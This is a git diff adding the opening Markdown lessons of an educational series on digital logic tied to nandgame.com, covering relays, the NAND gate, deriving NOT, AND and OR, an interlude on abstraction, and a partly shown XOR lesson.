+Throughout the whole series we'll use one single tool: **[nandgame.com](https://nandgame.com)**
+
+- **Free.** No sign-up, no installation, no ads. It opens in the browser, you play.
+- **Like a game but real:** each level gives you a task ("build the circuit that satisfies
+ this table"), you drag parts from the boxes on the left and connect them with wires, then
+ you click **Check solution**. The game tries all the combinations for you; if they all
+ pass, the level is done.
+- **Its order is the same as this series' order:** the game's levels follow the construction
+ layers of a real computer. At the end of each lesson, the "now you build it" section sends
+ you to exactly that level of the game.
+
+> 🔑 Let the division of labor be clear from the start: **the lesson gives you the concept,
+> you solve the level.** At the end of each lesson there's also the logic of the solution —
+> but inside folded (click-to-open) boxes, with a "try it yourself first" warning. Opening
+> that box early is up to you; but know that all the joy of this series is in the "I figured
+> it out myself" moments.
+
+---
+
+## What Will You Be Able to Do in the End?
+
+When you finish the part of the series written so far (Unit 0 + 1):
+
+- You'll know what "1 and 0" **physically** is — not a metaphor, but wire and current.
+- You'll have **derived yourself** all the logic gates from a single kind of part (NAND).
+- You'll be able to explain how the computer **counts** and how it **adds**, because you
+ built the adding circuit yourself.
+- The phrase "billions of transistors" won't scare you — because you'll have seen how the
+ floors stack on top of one another.
+
+The series will grow as the game advances: next up are multi-digit addition, subtraction,
+the compute core (ALU), memory, and finally **a real processor that executes instructions.**
+All from the same bricks.
+
+---
+
+## The Big Picture: Why Do We Start From the Switch?
+
+A computer is made of floors. Each floor is built from the one below it — and the moment each
+floor is built, it **lets you forget** the one beneath it:
+
+```
+ PROCESSOR "the machine that executes instructions"
+ ▲ is built from these
+ MEMORY + ALU "the parts that remember and compute"
+ ▲ is built from these
+ ADDERS "circuits that add numbers"
+ ▲ is built from these
+ GATES "AND, OR, NOT... the little parts that make decisions"
+ ▲ is built from these
+ SWITCH / RELAY "the single motion that turns current on and off"
+```
+
+Explanations that start from the top always get stuck in the same place: a floor with no
+foundation turns into rote memorization. We'll do the opposite — starting from **the very
+bottom** and casting each floor ourselves. That way I'll never have to say "just accept this
+as it is" at any point.
+
+> 💡 The claim in this series' name is real: the transistor inside a modern chip is the
+> grandchild of the relay you're about to meet, shrunk billions of times over. The difference
+> is size and speed; **the idea is the same.** Whoever understands the switch has understood
+> the transistor.
+
+---
+
+## Roadmap — Lesson by Lesson
+
+Read the files in this order. Each lesson leans on the previous one.
+
+### 🧱 Unit 0 — The Bricks: From Switches to Gates
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 1 | [01_akim_salter_role](./01_akim_salter_role.md) | What 1 and 0 really are; the relay; the first gate | Nand |
+| 2 | [02_nanddan_kapilar](./02_nanddan_kapilar.md) | All gates from a single brick: NOT, AND, OR | Invert, And, Or |
+| 3 | [03_xor_iki_fedai](./03_xor_iki_fedai.md) | The difference detector XOR — the tale of the two that do the dirty work | Xor |
+| 3.5 | [03.5_soyutlama_merdiveni](./03.5_soyutlama_merdiveni.md) | *(interlude)* Boxing up the floors — the computer's construction secret | — |
+
+### ➕ Unit 1 — Counting and Adding
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 4 | [04_teller_sayi_olunca](./04_teller_sayi_olunca.md) | Loading number-meaning onto wires; binary counting | — *(concept lesson)* |
+| 5 | [05_half_adder](./05_half_adder.md) | The first adder: 1 + 1 = 10 | Half Adder |
+| 6 | [06_full_adder](./06_full_adder.md) | The carry chain: the brick for adding numbers of unlimited size | Full Adder |
+
+### 🔜 On the way (to be written as the game advances)
+
+Multi-bit Adder → subtraction and negative numbers → data routing (Switching) → the compute
+core (ALU) → memory (latch, register, RAM) → **the processor.**
+
+> 💡 Files whose number ends in `.5` are short **interludes**: on the side of the main road,
+> lighter. But don't skip 03.5 — the most important idea of the series is there.
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Both the game levels and the lessons stack on top of each other.
+2. **Solve every level yourself.** Before opening the solution box, genuinely try at least
+ once. Getting stuck is part of the job; the difference between *seeing* the solution and
+ *finding* it is everything this series will give you.
+3. **Decide "done" yourself — but honestly.** A topic is finished not when you pass the level
+ in the game, but when you **can explain it to someone else.** Explain it out loud to
+ yourself; the sentence where you get stuck is the place you go back to.
+4. **Keep a screenshot archive.** Toss the screenshot of every level you solve into a folder.
+ You'll both see your progress and have concrete proof to say "I built this."
+5. **Slow = fast.** A gate you rush past will stop you three levels later.
+
+---
+
+## Sister Series: x86 Assembly
+
+This series has a sibling: the **x86 Assembly** course. The two look at the same machine from
+two ends:
+
+- **This series** builds the worker (the processor) **from parts** — "what is this machine
+ made of?"
+- **The x86 series** teaches you to **give orders** to that worker — "how do you make this
+ machine do work?"
+
+They can be read independently of each other; but if you carry both at once, one day the two
+paths meet: there, you'll see that the `add` order you wrote goes to the adder you built here
+with your own hands. That moment is the reason both of these series exist.
+
+---
+
+## 🔗 Next Step
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — continue here. We'll learn
+ electricity's single habit and build our first gate.
+
+---
+
+*This lesson is part of the "From Switches to a Computer" series. The series proceeds alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
new file mode 100644
index 0000000..3ff2f33
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
@@ -0,0 +1,243 @@
+# ⚡ From Switches to a Computer — Current, the Switch, and the First Gate: NAND
+
+> The computer's alphabet has two letters: **present** and **absent.**
+> In this lesson you'll see what those two letters physically are, you'll meet the
+> part that lets electricity manage itself (the relay), and you'll build the gate
+> that gives the series its name — NAND — with your own hands.
+
+> **This lesson is the foundation of the series.** If the single idea here ("electricity
+> can manage electricity") settles in, the rest of the series is just a repetition of
+> that idea. Don't rush.
+
+---
+
+## 📋 Table of Contents
+
+- [What Are 1 and 0, Really?](#what-are-1-and-0-really)
+- [The Switch: The Part That Decides on Current](#the-switch-the-part-that-decides-on-current)
+- [The Relay: A Switch Whose Own Lever Is Pushed by Electricity](#the-relay-a-switch-whose-own-lever-is-pushed-by-electricity)
+- [The Relay's Two Temperaments: Normally Passing, Normally Cutting](#the-relays-two-temperaments-normally-passing-normally-cutting)
+- [The Transistor: The Relay's Grandchild](#the-transistor-the-relays-grandchild)
+- [First Task: The NAND Gate](#first-task-the-nand-gate)
+- [Why Is the First Gate NAND?](#why-is-the-first-gate-nand)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## What Are 1 and 0, Really?
+
+Every explanation of computers says "ones and zeros," but most of them never say what
+these things **are.** Let's say it:
+
+> **1 = there is current in the wire. 0 = there is no current in the wire.** That's all.
+
+Think of the light switch on your wall. Switch on → there's current in the wire → the
+lamp is lit. We call this state "1." Switch off → no current → "0." In each of the
+billions of wires inside a computer, at every moment, one of these two holds: either
+there is current, or there isn't.
+
+Let's pause here and underline something important:
+
+> 🔑 **The wire doesn't know it's carrying a "1."** In the wire there is simply
+> electricity, or there isn't. "This current means 1," "those three wires mean a
+> number," "that number means the letter A" — these are all **meanings we assign.**
+> Sand (silicon) doesn't know how to add; we give the pattern its meaning. What we do
+> in this series is exactly this: dressing meaningless currents, layer by layer, in
+> meaning.
+
+---
+
+## The Switch: The Part That Decides on Current
+
+The simplest part that turns current on and off is the switch — the very light switch
+itself:
+
+```
+ Current source ───o o─── lamp (lever open: NO current → 0)
+
+ Current source ───o───o─── lamp (lever closed: current YES → 1)
+```
+
+The switch has just one trick: to **open or close** the path of a wire. But it has a
+problem: its lever is pushed by a **finger.** You can't build a computer out of
+something pushed by a finger — there's no finger that can press a button billions of
+times per second.
+
+So what if, instead of a finger... **electricity** pushed the lever?
+
+---
+
+## The Relay: A Switch Whose Own Lever Is Pushed by Electricity
+
+A **relay** is a switch whose lever is pushed by an electromagnet. Inside it there are
+two independent paths:
+
+- **Coil (control input):** if you feed current here, the magnet inside works and pulls
+ the switch's lever.
+- **Contact (the actual path):** the path that the lever opens and closes, the one the
+ actual current flows through.
+
+```
+ control current (to the coil)
+ │
+ ▼
+ ┌───────────┐
+ in ───┤ ⚡ lever ├─── out if the coil is full the lever is pulled,
+ └───────────┘ the in→out path opens or is cut
+```
+
+It looks like an ordinary part. It isn't. Hidden here is the most important idea of
+this series — and, really, of the whole history of computers:
+
+> 💡 **Electricity is managing electricity.** The current in one wire (the coil) decides
+> the fate (the contact) of the current in another wire. This means: you can connect the
+> **output** of one relay to the **control input** of another relay. Decisions can be
+> chained. If decisions can be chained — computation can be built. No finger needed.
+
+---
+
+## The Relay's Two Temperaments: Normally Passing, Normally Cutting
+
+The relay is made in two different temperaments; both are waiting for you in NandGame's
+box:
+
+| NandGame name | Temperament | Coil **empty** (c=0) | Coil **full** (c=1) |
+|---|---|---|---|
+| **relay (default on)** | normally passing | **passes** `in` to the output | **cuts** the path |
+| **relay (default off)** | normally cutting | output **empty** (0) | **passes** `in` to the output |
+
+Think of two guards: one keeps the door **open** by default and closes it when the order
+comes; the other keeps it **closed** by default and opens it when the order comes.
+
+> 💡 **If you're someone who's seen an electrical panel:** these are exactly the NC
+> (normally closed) and NO (normally open) contacts — "default on" = NC, "default off" =
+> NO. If you've built a control circuit, you'll soon see that the computer too is born
+> from the same parts. And if you've never seen one, no worries: saying "normally passing
+> / normally cutting" is enough.
+
+---
+
+## The Transistor: The Relay's Grandchild
+
+Real chips have no relays — because a relay's lever **physically moves,** and a moving
+thing is both slow and wears out. The modern solution is the **transistor**: a part so
+small it's invisible to the eye, which does the same job (one current turning another
+current on and off) **with no moving parts at all.**
+
+To feel the consequence of that size difference: the processor in the device you're
+reading these lines on has **billions** of transistors, and each one can switch on and
+off billions of times per second.
+
+> 🔑 But the idea hasn't changed: **transistor = a switch whose lever is pushed by
+> electricity.** Every circuit you can build with a relay can also be built with a
+> transistor — it's just smaller and faster. That's why in this series we start with the
+> relay with an easy conscience: whoever understands the relay has understood the
+> transistor.
+
+---
+
+## First Task: The NAND Gate
+
+Now we can build our first **gate.** A gate (*gate*) is a few switches joined together
+to make a single **decision:** it looks at the inputs and produces a single output.
+
+Our first gate is named **NAND** (*Not AND* in English — "AND-not"). Its rule is a single
+sentence:
+
+> **If both inputs are 1, the output is 0; in every other case the output is 1.**
+
+Its table (you'll see exactly this table in the game too):
+
+| a | b | output |
+|---|---|:---:|
+| 0 | 0 | **1** |
+| 0 | 1 | **1** |
+| 1 | 0 | **1** |
+| 1 | 1 | **0** |
+
+Like a grumpy guard: it always keeps the door open, but *"if the two of you came
+together, you can't come in."*
+
+---
+
+## Why Is the First Gate NAND?
+
+Because NAND is **universal**: using NAND alone you can build NOT, AND, OR, XOR — that
+is, **all the other gates.** From gates come adders, from adders a computing unit, from
+there memory and the processor... So:
+
+> 🔑 **A single kind of brick is enough.** A chip with billions of transistors is not "a
+> whole lot of different things" — it's largely **billions of repetitions of the same
+> idea.** That's why the game is named NandGame: everything from here on, you'll derive
+> from this first gate.
+
+You'll do this yourself in the next lesson. First let's finish the job at hand.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** [nandgame.com](https://nandgame.com) → first level: **Nand.**
+
+The game gives you two kinds of relay (default on / default off) and also a **V** input —
+"always 1," that is, a source that supplies current continuously (think of it as a wire
+plugged into the outlet). The goal: build the circuit that satisfies the NAND table
+above.
+
+Two pointers before you try:
+
+1. The single row where the inputs are **1 1** is special: only there is the output 0.
+ Which temperament of relay, and connecting the inputs how, asks the question "did both
+ arrive?"
+2. If you need the **opposite** of the result: which temperament of relay *cuts* the path
+ when a 1 reaches its coil?
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Two relays, two jobs:
+
+1. **The "did both arrive?" question — the default off relay.** Connect `a` to its coil
+ and `b` to its input (`in`). Since this relay passes only when the coil is full, for
+ there to be current at its output you need **both a=1 (coil) and b=1 (the current
+ passing through).** So this relay's output = "a AND b".
+2. **The negation — the default on relay.** Connect the previous relay's output to its
+ coil, and `V` (always 1) to its input. When the coil is empty it passes V (output 1);
+ when "a AND b" happens and the coil fills, it cuts the path (output 0).
+
+Result: output = "**not** a AND b" = NAND. With two rusty relays, you've built the
+computer's universal brick.
+
+
+
+When you pass the level, stop and feel this: you just **made electricity make a
+decision.** No finger, no human — current managed current. Everything else is a
+repetition of this.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ 1 = current present, 0 = current absent. Nothing else.
+☐ The wire knows no meaning; WE assign the meaning to the 1/0, the number, the letter.
+☐ The switch turns current on and off — but its lever needs a finger.
+☐ Relay = a switch whose lever is pushed by ELECTRICITY → electricity manages electricity → decisions chain.
+☐ Two temperaments: default on = normally passes (NC), default off = normally cuts (NO).
+☐ Transistor = the relay's motionless, tiny, billions-of-times-fast grandchild. Same idea.
+☐ NAND: only "1 1" gives 0, the rest give 1. The universal brick — everything will derive from it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The roadmap of the series
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Deriving all the gates from this brick
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
new file mode 100644
index 0000000..ffe3b9a
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
@@ -0,0 +1,203 @@
+# 🧱 From Switches to a Computer — All the Gates from a Single Brick
+
+> Last lesson we said "NAND is universal, everything derives from it." Claims like this
+> shouldn't stay just words. In this lesson **you** will prove the claim: using only NAND,
+> you'll build the NOT, AND and OR gates. When the lesson ends you'll hold a
+> four-word language — and we'll never go back to relays again.
+
+> **From this lesson on, NAND is a closed box for you.** We're done with the relays
+> inside it; from now on NAND has only a **table**. This forgetting is deliberate — we'll
+> talk about exactly why in 03.5.
+
+---
+
+## 📋 Table of Contents
+
+- [What We Have: The Closed-Box NAND](#what-we-have-the-closed-box-nand)
+- [NOT (invert): Wiring It to a Mirror](#not-invert-wiring-it-to-a-mirror)
+- [AND: The Inverse of the Inverse](#and-the-inverse-of-the-inverse)
+- [OR: Entering Through the Inverted Gate](#or-entering-through-the-inverted-gate)
+- [A Four-Word Language](#a-four-word-language)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## What We Have: The Closed-Box NAND
+
+From now on we'll draw NAND like this — no insides, just its behavior:
+
+```
+ ┌────────┐
+ a ─────┤ │
+ │ NAND ├───── output 0 only when a=b=1, else 1
+ b ─────┤ │
+ └────────┘
+```
+
+NandGame does the same: the moment you clear the Nand level, a ready-made part called
+**nand** appears in the box of the later levels. That part is the circuit you built —
+its boxed-up form.
+
+Our task: derive three gates using only this box. No tricks, no other parts.
+
+---
+
+## NOT (invert): Wiring It to a Mirror
+
+The simplest gate is **NOT**: it has a single input and inverts it.
+
+| x | output |
+|---|:---:|
+| 0 | **1** |
+| 1 | **0** |
+
+What we have, though, is a two-input NAND. How do you make something with a single input
+out of a two-input part?
+
+Look at NAND's table and read only the rows where **both inputs are the same**:
+
+| a | b | NAND |
+|---|---|:---:|
+| **0** | **0** | 1 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| **1** | **1** | 0 |
+
+`0,0 → 1` and `1,1 → 0`. So when the inputs are always the same, NAND behaves exactly
+like an **inverter**. In that case the solution is: **wire the same wire to both inputs of
+the NAND.**
+
+```
+ ┌────────┐
+ x ──┬──┤ │
+ │ │ NAND ├───── inverse of x
+ └──┤ │
+ └────────┘
+```
+
+> 💡 This little trick is the first "derivation" in the series, and it sums up the method
+> nicely: we didn't invent a new gate — we **forced** the part we had into the rows of its
+> table that serve our purpose. Circuit design is mostly this.
+
+---
+
+## AND: The Inverse of the Inverse
+
+The **AND** gate is just what its name says: 1 if both inputs are 1, otherwise 0.
+
+| a | b | AND |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 0 |
+| 1 | 0 | 0 |
+| 1 | 1 | **1** |
+
+Now place this table side by side with NAND's... did you notice? **It's the exact opposite,
+row by row.** NAND already meant "AND-not"; so:
+
+> **AND = invert NAND's output.** And we just built the inverter.
+
+NAND + NOT (made from NAND) = AND. Two boxes, done.
+
+---
+
+## OR: Entering Through the Inverted Gate
+
+**OR**: 1 if **at least one** of the inputs is 1.
+
+| a | b | OR |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| 1 | 1 | 1 |
+
+This time the job looks hard at first: NAND's table doesn't much resemble OR's. But when you
+think in the guard's language, a way opens up. Compare the two sentences:
+
+- OR: *"let at least one of them **have come**."*
+- NAND: *"don't let both of them **be**."*
+
+Now build the OR sentence backwards: "let at least one have come" = **"don't let both of
+them have NOT come."** Do you see the double negative in it? "Not come" (the inverse of the
+inputs) + "don't let be" (NAND). So:
+
+> **OR = invert BOTH inputs, then feed them into NAND.**
+
+Verify (for a=0, b=1): the inverses are 1 and 0 → NAND(1,0) = 1 ✓. (a=0, b=0): the inverses
+are 1,1 → NAND = 0 ✓. All four rows hold — build it and see.
+
+> 💡 With your own hands you just discovered a famous rule from the history of logic:
+> **De Morgan's law** — "OR is the inverse of the AND of the inverses." Books give it as a
+> formula; you found it with the guard's sentence. They're the same thing, but yours is
+> yours.
+
+---
+
+## A Four-Word Language
+
+Look at your inventory — yesterday it was zero, today you have four gates:
+
+| Gate | Its sentence | How it's built (all from NAND) |
+|---|---|---|
+| **NAND** | "don't let both be" | 2 relays *(lesson 01)* |
+| **NOT** | "the inverse" | NAND with its inputs joined |
+| **AND** | "both" | NAND + NOT |
+| **OR** | "at least one" | NAND with its inputs inverted |
+
+> 🔑 Notice: the table has no relay column, because we no longer need one. **Everything is
+> in terms of NAND** — and what's inside NAND (a relay, a transistor, some entirely
+> different technology) is of no concern to this table. Even if the lower layer changes,
+> these four words stay valid. This is exactly the power of the concept of a "layer."
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** the next three levels in NandGame: **Invert → And → Or.**
+
+The lesson has already shown the way; still, verify your table yourself as you build: at
+each level, change the input buttons by hand and watch the output. The confirmation of
+"Check solution" and seeing it with your own eyes are two different things — the second one
+teaches.
+
+
+🔒 How all three are built, at a glance — try it yourself first, then open
+
+- **Invert:** wire `x` to **both inputs** of the NAND.
+- **And:** feed `a,b` into NAND; run NAND's output through an **invert**.
+- **Or:** run `a` through one invert and `b` through a separate invert; feed the two
+ inverses into **NAND**.
+
+(The game puts the part you built in the previous level into the box of the next level — you
+can use invert as a ready-made part in And and Or.)
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ NAND is now a closed box: no insides, just a table. We're done with relays.
+☐ NOT = give the same wire to both NAND inputs ("wiring it to a mirror").
+☐ AND = NAND + invert (NAND already meant "AND-not").
+☐ OR = invert the inputs, then NAND ("don't let both have NOT come").
+☐ Along this path you discovered De Morgan's law by yourself.
+☐ The method is called derivation: don't invent new parts, force the one you have into its table.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — What was inside NAND: relays
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The next gate: XOR, the difference detector
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Why the "closed box" idea matters so much
+
+---
+
+**Previous topic:** [01_akim_salter_role.md](./01_akim_salter_role.md)
+**Next topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
new file mode 100644
index 0000000..0672547
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
@@ -0,0 +1,109 @@
+# 🪜 From Switches to a Computer — Interlude: The Ladder of Abstraction
+
+> For three lessons now you've been doing something you probably never named: every
+> circuit you build, you **close up** and climb on top of. This short interlude gives
+> that move a name. Because that move isn't a habit — it's **the one and only reason a
+> computer can exist at all.**
+
+> *(Interlude: short, no circuits, no game. Pour yourself a tea, read it, move on.)*
+
+---
+
+## Look at the Ladder
+
+Here's what you've done so far, in order:
+
+1. You started with the **relay**. Your head was in the coil, in the contact — "when the coil fills up, the arm gets pulled..."
+2. From two relays you built the **NAND**. And something happened: the moment you built the NAND, you
+ **forgot** the relays. In the later levels the NAND was a box you couldn't see inside of;
+ it just had a table.
+3. From NANDs you built **NOT, AND, OR**. They got boxed up too.
+4. From gates you built **XOR**. Now it's in a box too: two inputs, one table, and nobody
+ cares what's inside.
+
+```
+ ┌ XOR ┐ ← you are here right now
+ │ from gates │
+ ┌ OR/AND/NOT ┐ ← boxed up
+ │ from NANDs │
+ ┌ NAND ┐ ← boxed up
+ │ from relays │
+ ┌ RELAY ┐ ← boxed up (you forgot it long ago)
+ │ from physics... │
+```
+
+We'll call this the **ladder of abstraction**. The rule fits in one sentence:
+
+> 🔑 **One floor's ANSWER is the next floor's SIGNAL.** When you built the XOR, you didn't
+> think of OR's output as "OR's output" — you fed it to the AND as an ordinary signal, like
+> a, b. The lower floor closes up; the wire it produces behaves like an input that was there
+> from birth on the floor above.
+
+---
+
+## Why Does This Matter So Much?
+
+Let's do a bit of arithmetic. Inside the XOR there are 3 gates; inside each gate a few NANDs,
+inside each NAND 2 relays. So the thing you call XOR is really a machine made of a dozen
+relays. We're going to build an adder — inside it there will be several XORs. By the time we
+reach the processor the count will run into the **billions**.
+
+**Nobody can hold a billion parts in their head at once.** Computer engineering didn't solve
+this — it **never had to**, because thanks to the ladder nobody needs to think about a billion
+parts:
+
+- Whoever designs the relay thinks about a magnet — they don't care about the NAND.
+- Whoever builds the NAND thinks about two relays — they don't care about the XOR.
+- Whoever builds the adder thinks about a few gates — they don't even remember that a thing called a relay exists.
+
+Every floor works with **a handful of parts**. What you call a billion is a stack of handfuls piled on top of each other.
+
+> 💡 You've lived through a proof of this: in lesson 02 we said "we won't go back to relays
+> anymore," and we didn't. Did you lose anything? No — because the NAND's table carried
+> everything the relay could ever give. If a floor is closed up correctly, what's below it can
+> be **safely** forgotten.
+
+---
+
+## The Ladder's Two Faces
+
+The same ladder runs in both directions, and you're doing both in this series:
+
+- **Up (while building):** build the part → box it up → use it as a part on the floor above.
+ NandGame's level layout is exactly this: every level you solve shows up as a ready-made part
+ in the next level's box.
+- **Down (when you want to understand):** open any box, read it in the language of the floor
+ below. "How does XOR work?" → gates. "How about AND?" → NANDs. "NAND?" → relays.
+ There's no wall on any floor; **every box can be opened.** This is the technical meaning of
+ the sentence "a computer is not magic."
+
+> ⚠️ The ladder's only danger: closing up a floor before it has **settled**. For you to be able
+> to trust a box's table, you have to have actually built it at least once. That's why skipping
+> levels is forbidden in this series — a box you didn't solve is a box you can't trust.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Ladder of abstraction: build → box up → climb on top. The lower floor is safely forgotten.
+☐ Rule: one floor's ANSWER is the next floor's SIGNAL.
+☐ A billion-part chip is possible this way: nobody thinks about the billion, everybody thinks about one handful.
+☐ The ladder also goes down: every box can be opened. No magic.
+☐ The one forbidden move: closing up a floor that hasn't settled. Don't trust a box you didn't build.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — The first boxing-up: NAND closes
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The last rung of the ladder you stepped on
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — Now a new floor: the floor of meaning
+
+---
+
+**Previous topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+**Next topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along together with [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
new file mode 100644
index 0000000..ef0f568
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
@@ -0,0 +1,174 @@
+# 🚪 From Switches to a Computer — XOR: The Tale of Two Bouncers
+
+> The gates so far were one-sentence characters: "both," "at least one,"
+> "the opposite." In this lesson, for the first time, you'll build a gate that asks for
+> **two sentences at once**: XOR, the difference detector. Along the way you'll learn two things: what it means
+> for gates to form a **team** — and the strange fact that will open the door to the next unit: XOR is, in fact,
+> a secret **adder.**
+
+> XOR is the series' "my brain is fried" stop: the first multi-gate structure. The burn is normal and
+> temporary — this lesson was written for exactly that wall.
+
+---
+
+## 📋 Table of Contents
+
+- [Mission: The Difference Detector](#mission-the-difference-detector)
+- [Why Isn't One Gate Enough?](#why-isnt-one-gate-enough)
+- [Two Bouncers, One Approval Desk](#two-bouncers-one-approval-desk)
+- [Verify the Table with the Bouncers](#verify-the-table-with-the-bouncers)
+- [XOR's Secret Identity (Trailer for the Coming Unit)](#xors-secret-identity-trailer-for-the-coming-unit)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## Mission: The Difference Detector
+
+**XOR** (from *exclusive or*), looks at its two inputs and asks a single
+question: **"are you two different?"**
+
+| a | b | XOR | reading |
+|---|---|:---:|---|
+| 0 | 0 | **0** | same → 0 |
+| 0 | 1 | **1** | different → 1 |
+| 1 | 0 | **1** | different → 1 |
+| 1 | 1 | **0** | same → 0 |
+
+You can read the same table through a second lens: the output is 1 only when there is **exactly one
+1**. Both readings are correct; tuck the second one in your pocket, it'll come in handy this lesson.
+
+---
+
+## Why Isn't One Gate Enough?
+
+Try the gates you have, one by one — which one matches this table?
+
+- **Try OR:** "at least one." Same as XOR for the first three rows... but it blows it on the last row:
+ OR(1,1)=1, while XOR wants it to be 0. ✗
+- **Try NAND:** "not both." It nails the last row (1,1→0)... but it blows it on the first
+ row: NAND(0,0)=1, while XOR wants it to be 0. ✗
+- **AND**, **NOT** — try them, none of them can hit all four of the four rows.
+
+Here's the reason: what XOR wants is **not a single condition, but the intersection of two conditions:**
+
+1. "At least one of you be 1" *(eliminates 0,0)*
+2. "But don't both of you be 1" *(eliminates 1,1)*
+
+A single gate says a single sentence. A two-sentence job needs a **team**.
+
+> 🔑 This is the first big design lesson in the series: a complex request breaks down into the **intersection
+> of simple requests.** A gate for each simple request, and a gate for the intersection — and the job's
+> done. You'll build every circuit from here on like this: first split into sentences, then hand out gates
+> to the sentences.
+
+---
+
+## Two Bouncers, One Approval Desk
+
+Now set up the story. Picture a club door; the rule for getting in is "exactly one of you two."
+Two bouncers stand at the door, and each one enforces **a single rule**:
+
+- **The OR bouncer:** *"At least one of you must have shown up."* — Doesn't approve an empty arrival (0,0).
+- **The NAND bouncer:** *"But you can't both come in."* — Doesn't approve a paired arrival (1,1).
+
+The **approval desk (AND)** inside does just one thing: **if both bouncers say "okay"**
+it opens the door.
+
+```
+ a ──┬──────────► [ OR bouncer ] ──┐
+ │ ├──► [ AND approval desk ] ──► XOR output
+ b ──┴──────────► [ NAND bouncer ] ─┘
+```
+
+(a and b appear to both bouncers **at the same time** — the wires fork, no one waits their turn.)
+
+---
+
+## Verify the Table with the Bouncers
+
+Run each of the four possibilities through the gates one by one:
+
+| Arrivals (a,b) | OR bouncer | NAND bouncer | Approval desk (AND) |
+|---|:---:|:---:|:---:|
+| 0, 0 — nobody | ✗ "nobody showed up" (0) | ✓ (1) | **0** — no entry |
+| 0, 1 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 0 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 1 — a pair | ✓ (1) | ✗ "you can't both come in" (0) | **0** — no entry |
+
+Four rows, four hits. XOR = **AND( OR(a,b), NAND(a,b) )** — but don't memorize this
+formula; remember the story, and the formula rewrites itself.
+
+> 💡 Did you notice: all three gates on the team are from the previous lesson — OR, NAND, AND. XOR
+> isn't "a new invention," it's the **division of labor among old acquaintances.** Number of new parts: zero.
+
+---
+
+## XOR's Secret Identity (Trailer for the Coming Unit)
+
+Take out that second reading you pocketed: XOR = "1 if there is exactly one 1."
+
+Now answer this question: **what do you get if you add 0 and 1?** 1. And 1 and 1? 2 —
+and in the binary world, the ones digit of the way 2 is written is **0** (we'll build up why,
+step by step, in Unit 1). Now look at XOR's table once more:
+
+| a | b | a+b | ones digit of the sum | XOR |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 1 | 1 |
+| 1 | 0 | 1 | 1 | 1 |
+| 1 | 1 | 2 | **0** | **0** |
+
+Exactly the same column. **XOR is the ones digit of a two-bit addition.** This gate that
+plays bouncer at the club door will, two lessons from now, be the heart of the circuit that lets the
+computer do addition.
+
+---
+
+## 🎮 Now You Build It
+
+**Mission:** NandGame → **Xor** level.
+
+The story is in your hands: two bouncers + an approval desk. Look at the ready-made parts in your box (or, nand, and
+— you built them all), and pull the wires. After you build it, try the four input combinations
+**by hand** and each time watch which bouncer says "no" — that's when the circuit turns into
+the story.
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and feed them into **both OR and NAND**. Give the two gates' outputs to **AND**;
+AND's output is XOR.
+
+Extra observation: while your circuit is running, give it (1,1) and watch how the 0 at NAND's output
+locks AND; then give it (0,0) and see the same lock on the OR side. Two bouncers, killing two
